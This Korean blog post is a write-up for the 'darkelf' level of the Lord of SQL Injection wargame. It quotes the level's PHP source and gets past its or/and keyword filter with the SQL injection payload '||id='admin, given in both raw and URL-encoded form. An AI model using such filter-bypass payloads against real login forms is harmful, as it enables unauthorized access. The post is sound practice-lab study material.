본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] darkelf 풀이

by yenua 2022. 6. 11.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

다크 엘프는 노르드 신화에 나오는 대조되는 두 알프 종족 중 하나로, 지하에 살고 생김새가 거무스름한 것이 특징이다. - 위키백과

los의 다크엘프를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

이번에는 or 및 and가 필터링 되었다.. 어떡하지

인코딩 쪽으로 파다가 안돼서 write-up을 찾아보니 아주 쉬운 방법이 있었다.

https://shineild-security.tistory.com/114

연산자를 쓰는 것..!! 게다가 ||, && 연산자를 이용하면 띄워쓰기도 필요없어서 유용하다고 한다.

 

적용 방법은 아래와 같다.

pw: '||id='admin

url: ?pw=%27||id=%27admin

query : select id from prob_darkelf where id='guest' and pw=''||id='admin'

 

 

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] troll 풀이  (0) 2022.06.12
[Los] orge 풀이  (0) 2022.06.12
[Los] wolfman 풀이  (0) 2022.06.11
[Los] orc 풀이 (작성 중)  (0) 2022.06.10
[Los] goblin 풀이  (1) 2022.06.09